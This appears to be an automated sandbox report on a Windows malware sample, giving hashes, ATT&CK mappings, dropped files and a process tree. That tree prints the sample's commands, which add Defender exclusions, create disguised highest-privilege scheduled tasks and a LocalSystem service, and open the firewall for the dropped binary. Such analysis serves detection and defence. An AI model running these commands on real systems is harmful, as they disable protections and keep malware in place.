f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5

Analysis

max time kernel
147s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 08:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
Size 583KB
Sample260706-kfhtqagx3j
SHA256 f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5
MD5 fc55a7d337d5cc797de1917eb486867d
SHA1 219c4fffde478a7c5b01c6351ae39d719846ee01
SHA512 e6dc2d4acb6341f35933c571ef944eb809ca16b3f07c1136fcac95abc300c6bbecb34d44c6ea8be55c0d0f2275e74f09cd25d77e03c50b91515c67452e361e11
SSDEEP 6144:VsoE7l5sR3QZdZVzExAXCaMhAjwUa7UdPaH2elEgHAKbt3e9hbrr2rrRj:vEp5QQZdZVzEx/aYAjwUa7UdKIhC
TLSH
T130D4B27C28F85227D1A4D7B4CBD29833B698D5E732516E2199C393A18706A973CC733E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5508	powershell.exe
1064	powershell.exe
4672	powershell.exe
3080	powershell.exe
4532	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	mppr.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3916	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
3820	SystemDiagnosticsHost.exe
1548	mppr.exe
3560	mppr.exe
4472	RC_ConnectedAccount.exe
6112	mppr.exe
2992	mppr.exe

Loads dropped DLL 1 IoCs

pid	Process
3520	Process not Found

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\SystemDiagnosticsHost.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File opened for modification	C:\Windows\SysWOW64\SystemDiagnosticsHost.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Media\msldriver.dll	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File opened for modification	C:\Windows\Media\msldriver.dll	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File created	C:\Windows\Media\mppr.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File opened for modification	C:\Windows\Media\mppr.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File created	C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
File opened for modification	C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2744	sc.exe
5096	sc.exe
2184	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SystemDiagnosticsHost.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5012	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6084	schtasks.exe
4380	schtasks.exe
1844	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5508	powershell.exe
5508	powershell.exe
1064	powershell.exe
1064	powershell.exe
4672	powershell.exe
4672	powershell.exe
3080	powershell.exe
3080	powershell.exe
4532	powershell.exe
4532	powershell.exe
3820	SystemDiagnosticsHost.exe
3820	SystemDiagnosticsHost.exe
1548	mppr.exe
1548	mppr.exe
4472	RC_ConnectedAccount.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
1548	mppr.exe
3820	SystemDiagnosticsHost.exe
1548	mppr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3520	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
Token: SeDebugPrivilege	5508	powershell.exe
Token: SeIncreaseQuotaPrivilege	5508	powershell.exe
Token: SeSecurityPrivilege	5508	powershell.exe
Token: SeTakeOwnershipPrivilege	5508	powershell.exe
Token: SeLoadDriverPrivilege	5508	powershell.exe
Token: SeSystemProfilePrivilege	5508	powershell.exe
Token: SeSystemtimePrivilege	5508	powershell.exe
Token: SeProfSingleProcessPrivilege	5508	powershell.exe
Token: SeIncBasePriorityPrivilege	5508	powershell.exe
Token: SeCreatePagefilePrivilege	5508	powershell.exe
Token: SeBackupPrivilege	5508	powershell.exe
Token: SeRestorePrivilege	5508	powershell.exe
Token: SeShutdownPrivilege	5508	powershell.exe
Token: SeDebugPrivilege	5508	powershell.exe
Token: SeSystemEnvironmentPrivilege	5508	powershell.exe
Token: SeRemoteShutdownPrivilege	5508	powershell.exe
Token: SeUndockPrivilege	5508	powershell.exe
Token: SeManageVolumePrivilege	5508	powershell.exe
Token: 33	5508	powershell.exe
Token: 34	5508	powershell.exe
Token: 35	5508	powershell.exe
Token: 36	5508	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeIncreaseQuotaPrivilege	1064	powershell.exe
Token: SeSecurityPrivilege	1064	powershell.exe
Token: SeTakeOwnershipPrivilege	1064	powershell.exe
Token: SeLoadDriverPrivilege	1064	powershell.exe
Token: SeSystemProfilePrivilege	1064	powershell.exe
Token: SeSystemtimePrivilege	1064	powershell.exe
Token: SeProfSingleProcessPrivilege	1064	powershell.exe
Token: SeIncBasePriorityPrivilege	1064	powershell.exe
Token: SeCreatePagefilePrivilege	1064	powershell.exe
Token: SeBackupPrivilege	1064	powershell.exe
Token: SeRestorePrivilege	1064	powershell.exe
Token: SeShutdownPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeSystemEnvironmentPrivilege	1064	powershell.exe
Token: SeRemoteShutdownPrivilege	1064	powershell.exe
Token: SeUndockPrivilege	1064	powershell.exe
Token: SeManageVolumePrivilege	1064	powershell.exe
Token: 33	1064	powershell.exe
Token: 34	1064	powershell.exe
Token: 35	1064	powershell.exe
Token: 36	1064	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3520	Process not Found

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 5180	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	89
PID 5180 wrote to memory of 5508	5180	cmd.exe	91
PID 3864 wrote to memory of 2956	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	93
PID 2956 wrote to memory of 1064	2956	cmd.exe	95
PID 3864 wrote to memory of 832	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	96
PID 832 wrote to memory of 4672	832	cmd.exe	98
PID 3864 wrote to memory of 2360	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	99
PID 2360 wrote to memory of 3080	2360	cmd.exe	101
PID 3864 wrote to memory of 4468	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	102
PID 4468 wrote to memory of 4532	4468	cmd.exe	104
PID 3864 wrote to memory of 2300	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	105
PID 3864 wrote to memory of 3940	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	107
PID 3864 wrote to memory of 1880	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	109
PID 3864 wrote to memory of 6052	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	111
PID 2300 wrote to memory of 4380	2300	cmd.exe	113
PID 3864 wrote to memory of 4100	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	114
PID 3864 wrote to memory of 5000	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	116
PID 3940 wrote to memory of 1844	3940	cmd.exe	117
PID 6052 wrote to memory of 2184	6052	cmd.exe	119
PID 1880 wrote to memory of 6084	1880	cmd.exe	120
PID 3864 wrote to memory of 3324	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	121
PID 4100 wrote to memory of 2744	4100	cmd.exe	123
PID 5000 wrote to memory of 5096	5000	cmd.exe	124
PID 3324 wrote to memory of 3916	3324	cmd.exe	126
PID 3864 wrote to memory of 2632	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	127
PID 2632 wrote to memory of 5012	2632	cmd.exe	129
PID 3864 wrote to memory of 1548	3864	f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe
"C:\Users\Admin\AppData\Local\Temp\f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\InputMethod\SHARED'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\InputMethod\SHARED'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Media'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\sc.exe
    sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
    3⤵
    - Launches sc.exe
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\sc.exe
    sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
    3⤵
    - Launches sc.exe
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc start "System Diagnostics Host" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\sc.exe
    sc start "System Diagnostics Host"
    3⤵
    - Launches sc.exe
    PID:5096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5s4o0sy1.hql.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\system32\timeout.exe
    timeout 8
    3⤵
    - Delays execution with timeout.exe
    PID:5012
- C:\Windows\Media\mppr.exe
  "C:\Windows\Media\mppr.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1548

C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3820

C:\Windows\Media\mppr.exe
C:\Windows\Media\mppr.exe
1⤵
- Executes dropped EXE
PID:3560

C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4472

C:\Windows\Media\mppr.exe
"C:\Windows\Media\mppr.exe"
1⤵
- Executes dropped EXE
PID:6112

C:\Windows\Media\mppr.exe
"C:\Windows\Media\mppr.exe"
1⤵
- Executes dropped EXE
PID:2992

C:\Windows\Media\mppr.exe
"C:\Windows\Media\mppr.exe"
1⤵
PID:1960

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 01b438f1690c10af13605789957f5bb002b78535c846a758ad11a04a3f68a0fb
MD5 e69bc9c5fcc70a4d72b47be9826f8570
SHA1 1de105afc84b5f10eabda515646fb100ba460d52
SHA512 c74c3a9cb351053185d0219e7aefd36ca1cb184eb3008e7a71ac7878cba8b0bfa3062332107d953eb64605ce797e9eaf756d78f52bf0a5bc529facdd0a567a10
TLSH
T1EF219833B3CC8624CC9A013A10CDAC1036B6C7CB40DECFAB7B80E655A43F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 830aefc5b1c7717a5829a916b7268d29e846fcc05374208412b34fdeabc08bda
MD5 42ff882617f33f78fecaaabb52e077bb
SHA1 a8c2f83ba1079dfb047cabcc1c9c149a14493e9d
SHA512 ef931024ce4847a6ca54cd50c69f40f64806a4c532fec45d346cf7c29cccf25297d814f392b6e6477d8ab22ac2bab219f1bb1bb37313728d61b6b352af661645
TLSH
T1AD216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd77a16bcaa7da8ab465d8637c2bfd282309d97519b4085e114c883924e1869a
MD5 7ea550812ff3b74d2c2c7254ef77c1f6
SHA1 dd26c3e082f972a41144f86d53596a4e97d9db66
SHA512 f8467f4dcd25d646eb1d05a55239cdfd5fc52403a1689a8637118cbb6b573aabee0822dd1c50fccb6361cd201f51f81a51b223d2f65ecb52870dce63cf7bc03a
TLSH
T1ED216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

5s4o0sy1.hql.bat

Path C:\Users\Admin\AppData\Local\Temp\5s4o0sy1.hql.bat
Size 208B
SHA256 e966ea8ce2f2d838e2ced53e19fe6985bc9ff187c006f396c1040c31b692dd8b
MD5 9976124184d7669f5d5281578e1e5591
SHA1 97a3017203d20d359cf6aef44bef3ff514b5900e
SHA512 8f0d9026d570d9d3250dc742abee2072273c3f1d93cc9d1067ce8daffde412ec2a0273ef30315070873d1ac107741541ba1283ae1561a427e9d883a09734c763
TLSH
T105D0221222CEC3654A183803127980CFD2B218693ADDA7B0626844EC22E8128E9B1741
MD5 SHA1 SHA512 TLSH

Submit Download

Tmp8979.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tmp8979.tmp
Size 1KB
SHA256 788c8449349f85b99ae935fa8fd219e29ee34851adfbb28086aa6ecd40647267
MD5 ef1570365ef63b7fc4977983b27e1a5b
SHA1 96b58ab80df95b16e3b336055ff54dbd1c2bc46d
SHA512 1d9ff7adaef470d8f4b2b84d0e025d895c16feca2f30c17c1aa58a16f48c0f6279d4d079352a7488fe5c9704f6b4cd9de9d5cccd04a95fe348d7587fca1f44ab
TLSH
T17731F710FADDB10C45A50EED027DF94E1EA39980CC80E00EE83239655E2CF91A100848
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_avfc5whc.klu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avfc5whc.klu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mppr.exe

Path C:\Windows\Media\mppr.exe
Size 583KB
SHA256 f18e71aa191ccb4604622b592a541b85099f130cecfd5ab52d96c955c1428ad5
MD5 fc55a7d337d5cc797de1917eb486867d
SHA1 219c4fffde478a7c5b01c6351ae39d719846ee01
SHA512 e6dc2d4acb6341f35933c571ef944eb809ca16b3f07c1136fcac95abc300c6bbecb34d44c6ea8be55c0d0f2275e74f09cd25d77e03c50b91515c67452e361e11
SSDEEP 6144:VsoE7l5sR3QZdZVzExAXCaMhAjwUa7UdPaH2elEgHAKbt3e9hbrr2rrRj:vEp5QQZdZVzEx/aYAjwUa7UdKIhC
TLSH
T130D4B27C28F85227D1A4D7B4CBD29833B698D5E732516E2199C393A18706A973CC733E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msldriver.dll

Path C:\Windows\Media\msldriver.dll
Size 158KB
SHA256 077c80b454bca94020a557ea19d3a4244dfb3e9d7fd32fe29c8373cf1253463f
MD5 a32f9350f5fe67a16c101ec44ba54680
SHA1 64c99f9feb1c36f5f528326c33b6f6e39dc17b2c
SHA512 199cec2f5684c3345cb1b78fde239bc33601b149cf40c5f8daaa88e312eb976aae9ee248b6b99698915cb1c8eab66d51059f879b10ff44a6f6834d23c1c83814
SSDEEP 3072:mamCCp3vA62NnX1wkLJAirccEkzW2vNO8M:vmf3vA62NnX1z+iIcEIf
TLSH
T1C9F35A5773A500BBE5679238C8A31A02F772B8114720EBAF03A447766F277D19D3EB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SystemDiagnosticsHost.exe

Path C:\Windows\SysWOW64\SystemDiagnosticsHost.exe
Size 18KB
SHA256 737c0a66e6566f0a9cb2c889dc6508daf203f3a1157a00abf42e5d257f82d613
MD5 ee3964fd23ee2895b16aece9f2381266
SHA1 26a9bc89dd00bfde69792b7506dcb0f854b1109e
SHA512 4354207da3040c96eb0afcc8a5c0fc5c1c109dea2c9001f46251d90553e0eaabee31ac1f2e113883294bd4667eecb7767742f190060a76bf866eeed5f3c654a3
SSDEEP 384:GO8ULqZ4pQ0dbON/XOEdqUBmW9eeQ53ez2:YX4pQ+bs+8qUBmW9e353ez2
TLSH
T1F982E8226EE04156F5BC0A33DCA1F24352706915DD22CF6E46C43A1FD821A9CA73A7ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3520-172-0x0000000003240000-0x0000000003241000-memory.dmp

Download

memory/3520-166-0x0000000002F40000-0x0000000002F41000-memory.dmp

Download

memory/3820-144-0x0000000000FA0000-0x0000000000FAA000-memory.dmp

Download

memory/3820-145-0x0000000002360000-0x0000000002382000-memory.dmp

Download

memory/3864-0-0x000002146A970000-0x000002146AA06000-memory.dmp

Download

memory/3864-93-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/3864-155-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/3864-51-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/3864-2-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/3864-1-0x00007FFF18B8F000-0x00007FFF18B90000-memory.dmp

Download

memory/5508-13-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-17-0x0000016968AC0000-0x0000016968ADE000-memory.dmp

Download

memory/5508-26-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-28-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-23-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-24-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-22-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-21-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

memory/5508-20-0x00007FFF18A00000-0x00007FFF193A4000-memory.dmp

Download

